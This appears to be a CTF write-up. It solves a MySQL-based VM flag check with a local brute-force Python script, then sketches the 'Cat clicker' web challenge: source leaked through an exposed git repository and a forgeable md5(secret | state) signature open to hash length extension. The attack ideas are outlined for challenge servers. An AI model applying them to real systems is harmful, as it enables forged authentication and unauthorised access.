WHEN 5 THEN (SELECT @dat := COALESCE(NULL, NULL, GROUP_CONCAT(n SEPARATOR ''), 'X-MAS') FROM FLAG)
WHEN 6 THEN IF(@dat = 'X-MAS', @pc:=80, 0)
WHEN 7 THEN (SELECT @e := n FROM FLAG WHERE id = 0)
WHEN 8 THEN IF(ASCII(@e) ^ 32 = 120, 0, @pc:=89)
WHEN 9 THEN IF((SELECT n FROM FLAG WHERE id = 1) = '-', 0, @pc:=89)
WHEN 10 THEN (SELECT @count := COUNT(*) FROM FLAG)
WHEN 11 THEN IF(@count = @targetsz, 0, @pc:=89)
WHEN 12 THEN IF((SELECT n FROM FLAG WHERE id = 2) = 'M', 0, @pc:=80)
WHEN 13 THEN (SELECT @f := n FROM FLAG WHERE id = 3)
WHEN 14 THEN IF(ASCII(@e) + ASCII(@f) = 153, 0, @pc:=89)
WHEN 15 THEN @prt := CONCAT((SELECT n FROM FLAG WHERE id = 4), (SELECT n FROM FLAG WHERE id = 7), (SELECT n FROM FLAG WHERE id = 24))
WHEN 16 THEN IF((@prt SOUNDS LIKE 'Soiii!'), 0, @pc:=80)
WHEN 17 THEN @prt := (SELECT n FROM FLAG WHERE id = 5)
WHEN 18 THEN IF(BIN(ASCII(@prt)) NOT LIKE '1111011', @pc:=89, 0)
WHEN 19 THEN @sp := 1
WHEN 20 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',7,'</m>'))
WHEN 21 THEN @sp := @sp + 1
WHEN 22 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>'))
WHEN 23 THEN @sp := @sp + 1
WHEN 24 THEN @pc:=92
WHEN 25 THEN @sp := @sp - 1
WHEN 26 THEN @prt := (SELECT n FROM FLAG where id = 6)
WHEN 27 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@prt,'</m>'))
WHEN 28 THEN @sp := @sp + 1
WHEN 29 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',87,'</m>'))
WHEN 30 THEN @sp := @sp + 1
WHEN 31 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>'))
WHEN 32 THEN @sp := @sp + 1
WHEN 33 THEN @pc:=113
WHEN 34 THEN @sp := @sp - 2
WHEN 35 THEN IF(@rv = INSTR('xbar', 'foobar'), @pc:=80, 0)
WHEN 36 THEN IF((SELECT ELT(BIT_LENGTH(BIN(12))/32, BINARY(RTRIM(CONCAT(REVERSE(repeat(SUBSTR(REGEXP_REPLACE(HEX(weight_string(TRIM(UCASE(TO_BASE64((SELECT CONCAT((SELECT n FROM FLAG WHERE id LIKE '20'), (SELECT n FROM FLAG where id IN ('50', '51', SUBSTR('121', 2, 2)))))))))), 'D', 'A'), -16, 16), 1)), (SELECT SPACE(6))))))) = CONCAT_WS('00','A3','43','75','A4',''), 0, @pc:=89)
WHEN 37 THEN @i := 13
WHEN 38 THEN @l := 0
WHEN 39 THEN 0
WHEN 40 THEN (SELECT @e := CONCAT((SELECT n FROM FLAG WHERE id = @i)))
WHEN 41 THEN IF(INSTR(@e, '?') > 0, 0, @pc:=43)
WHEN 42 THEN @pc:=45
WHEN 43 THEN 0
WHEN 44 THEN @l := 1
WHEN 45 THEN 0
WHEN 46 THEN @i := @i - 1
WHEN 47 THEN IF(@i > 10, @pc:=39, 0)
WHEN 48 THEN IF(@l > FIND_IN_SET('x','a,b,c,d'), @pc:=89, 0)
WHEN 49 THEN IF(SUBSTR(@dat, @i - 1, 3) NOT LIKE REVERSE('%tao%'), @pc:=124, 0)
WHEN 50 THEN (SELECT @i := GROUP_CONCAT(n SEPARATOR '') FROM FLAG Where id in (14, 16, 19, 22, 25, 32))
WHEN 51 THEN IF(HEX(@i) = REPEAT('5F', 6), 0, @pc:=89)
WHEN 52 THEN IF((SELECT IF(SUBSTR(@dat, (SELECT CEILING(ASCII(ASCII(@F))/2)), 3) = (SELECT NAME_CONST('TAO', 'SQL')), 1, 0)) = FIND_IN_SET(0,'f,e,e,d'), @pc:=124, 0)
WHEN 53 THEN IF(STRCMP((SELECT left(REPLACE(UNHEX(REPLACE(hex(RIGHT(QUOTE(MID(MAKE_SET(40 | 2,'Ook.','Ook?','Ook!','Ook?', 'Ook!','Ook?','Ook.'), 4)), 12)), '4F6F6B', '2B')), ',+', ''), 3)), (SELECT GROUP_CONCAT(n SEPARATOR '') FROM FLAG WHERE id > 28 and id < 32)) NOT LIKE '0', @pc:=89, 0)
WHEN 54 THEN @prt := (SELECT n FROM FLAG whEre id in (CAST((SUBSTR(REPEAT(RPAD(SOUNDEX('doggo'), 2, '?'), 2), 4, 1)) AS INTEGER) * 7 + 1))
WHEN 55 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@prt,'</m>'))
WHEN 56 THEN @sp := @sp + 1
WHEN 57 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',52,'</m>'))
WHEN 58 THEN @sp := @sp + 1
WHEN 59 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>'))
WHEN 60 THEN @sp := @sp + 1
WHEN 61 THEN @pc:=113
WHEN 62 THEN @sp := @sp - 2
WHEN 63 THEN IF(@rv = INSTR('t35t', 'm4ch1n3'), @pc:=80, 0)
WHEN 64 THEN IF((SELECT FIELD((COALESCE((SELECT GROUP_CONCAT(n SEPARATOR '') FROM FLAG where id in (17, ASCII(@e)/3-3, (SELECT @xx := CEILING(ASCII(@f)/3)+1))), '78')), 'ATT', 'BXX', 'ENN', 'FPP', 'VMM', 'PSS', 'ZEE', 'YDD', 'PPP')) = FLOOR(@xx / 4), 0, @pc:=89)
WHEN 65 THEN @i := 33
WHEN 66 THEN @l := 0
WHEN 67 THEN 0
WHEN 68 THEN (SELECT @e := CONCAT_WS('AVION', (SELECT n FROM FLAG WHERE id = @i)))
WHEN 69 THEN IF(INSTR((SELECT IF(ORD(@e) = @i ^ 0x4c, @f, CHAR(@xx*2.75))), '?') = '0', 0, @pc:=71)
WHEN 70 THEN @pc:=73
WHEN 71 THEN 0
WHEN 72 THEN @l := @l + 1
WHEN 73 THEN 0
WHEN 74 THEN @i := @i + 1
WHEN 75 THEN IF(@i < 41, @pc:=67, 0) ELSE @out END
WHEN 76 THEN IF(@l > LOCATE(FIND_IN_SET('p','abcdefghijklmnoqrstuvwxyz'), '1'), @pc:=124, 0)
WHEN 77 THEN 0
WHEN 78 THEN @out := @ok
WHEN 79 THEN @pc:=126
WHEN 80 THEN 0
WHEN 81 THEN (SELECT @x1 := n FROM FLAG WHERE id = 4)
WHEN 82 THEN (SELECT @x2 := n FROM FLAG WHERE id = 5)
WHEN 83 THEN IF(@x1 = 'd', 0, @pc:=89)
WHEN 84 THEN IF(@x2 = 'e', 0, @pc:=89)
WHEN 85 THEN (SELECT @x3 := n FROM FLAG WHERE id = 6)
WHEN 86 THEN (SELECT @x4 := n FROM FLAG WHERE id = 7)
WHEN 87 THEN IF(@x3 = 'a', 0, @pc:=89)
WHEN 88 THEN IF(@x4 = 'd', 0, @pc:=89)
WHEN 89 THEN 0
WHEN 90 THEN @out := @notok
WHEN 91 THEN @pc:=126
WHEN 92 THEN 0
WHEN 93 THEN @get_arg_tmp := @sp-2
WHEN 94 THEN @n:=ExtractValue(@mem,'/m[$@get_arg_tmp]')
WHEN 95 THEN IF(@n = 0, 0, @pc:=99)
WHEN 96 THEN @rv := 1
WHEN 97 THEN @sp := @sp - 1
WHEN 98 THEN @pc:=ExtractValue(@mem,'/m[$@sp]')
WHEN 99 THEN 0
WHEN 100 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@n,'</m>'))
WHEN 101 THEN @sp := @sp + 1
WHEN 102 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@n - 1,'</m>'))
WHEN 103 THEN @sp := @sp + 1
WHEN 104 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>'))
WHEN 105 THEN @sp := @sp + 1
WHEN 106 THEN @pc:=92
WHEN 107 THEN @sp := @sp - 1
WHEN 108 THEN @sp := @sp - 1
WHEN 109 THEN @n:=ExtractValue(@mem,'/m[$@sp]')
WHEN 110 THEN @rv := @rv * @n
WHEN 111 THEN @sp := @sp - 1
WHEN 112 THEN @pc:=ExtractValue(@mem,'/m[$@sp]')
WHEN 113 THEN 0
WHEN 114 THEN @get_arg_tmp := @sp-3
WHEN 115 THEN @n:=ExtractValue(@mem,'/m[$@get_arg_tmp]')
WHEN 116 THEN @get_arg_tmp := @sp-2
WHEN 117 THEN @compareto:=ExtractValue(@mem,'/m[$@get_arg_tmp]')
WHEN 118 THEN @rv := 1
WHEN 119 THEN IF(ASCII(@n) = @compareto, @pc:=121, 0)
WHEN 120 THEN @rv := 0
WHEN 121 THEN 0
WHEN 122 THEN @sp := @sp - 1
WHEN 123 THEN @pc:=ExtractValue(@mem,'/m[$@sp]')
WHEN 124 THEN 0
WHEN 125 THEN @out := @notok
WHEN 126 THEN 0
WHEN 127 THEN 0
Just following one by one, we can get the most segment of flag.
But there are two some annoying chore part.
First one is sounds like based part.
WHEN 15 THEN @prt := CONCAT((SELECT n FROM FLAG WHERE id = 4), (SELECT n FROM FLAG WHERE id = 7), (SELECT n FROM FLAG WHERE id = 24))
WHEN 16 THEN IF((@prt SOUNDS LIKE 'Soiii!'), 0, @pc:=80)
The flag value from sql SOUNDS LIKE syntax can be multiple answer. But there is a hint about it.
The return value of weight_string can be difference based of mysql version and operation systems.
REGEXP_REPLLACE function is not supported in mysql 5.x version.
Then we can guess the version dependency is based on 8.x version.
There is note that we should not use windows based os but linux os in order to get the right flag.
I had annoying chore to establish the environment.
I wrote python script to get 2 char, brute force search.
#!/usr/bin/env python3.5
# -*- coding: utf-8 -*-
import pymysql
import sys
conn = pymysql.connect(host="localhost", user="root", password="12321", db="bobgil")
curs = conn.cursor(pymysql.cursors.DictCursor)
flag = "X-MAS{Wooat???_4_VM_++_My_SQL???_mnohijkd}"
candid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789?!-_{}()"
def chk():
q = """SELECT IF((SELECT ELT(BIT_LENGTH(BIN(12))/32, BINARY(RTRIM(CONCAT(REVERSE(repeat(SUBSTR(REGEXP_REPLACE(HEX(weight_string(TRIM(UCASE(TO_BASE64((SELECT CONCAT((SELECT n FROM FLAG WHERE id LIKE '20'), (SELECT n FROM FLAG where id IN ('50', '51', SUBSTR('121', 2, 2)))))))))), 'D', 'A'), -16, 16), 1)), (SELECT SPACE(6))))))) = CONCAT_WS('00','A3','43','75','A4',''), "TRUE", "FALSE")"""
curs.execute(q)
rows = curs.fetchall()
return "TRUE" in repr(rows[0].values())
success = []
for a in candid:
for b in candid:
print (a,b)
curs.execute("update FLAG set n='{}' where id=20".format(a))
curs.execute("update FLAG set n='{}' where id=21".format(b))
conn.commit()
# sys.exit()
if chk():
print ("COOL", a,b)
success.append((a,b))
assert len(success) > 0
print ("WOWW")
print (success)
Fortunately, I've got the right flag.
The flag is X-MAS{Wooat???_4_VM_1n_My_SQL???_mnohijkd}
Web - Cat clicker
Hint indicates, the server project is managed by git. jeongwon jo leaked the server source code with accessing git repository.
The server does not store the data how many can cat the client have, like jwt just check the data and signature to verify integrity.
Checking server side code, the server using md5 based hmac with 64byte random key.
<?php
function hashFor($state) {
$secret = getenv("SECRET_THINGY"); // 64 random characters - impossible to guess
$s = "$secret | $state";
return md5($s);
}
function verifyState($state, $hash) {
return $hash === hashFor($state);
}
function getCatsNo($state) {
$arr = explode(" | ", $state);
return intval(end($arr));
}
function getParentsLimit($state) {
$arr = explode(" | ", $state);
return intval(reset($arr));
}
?>%
The signature format is like "secret | 12 | 0".
md5 function is vulnerable to hash length extension attack. So, appending some value, we can get the flag.
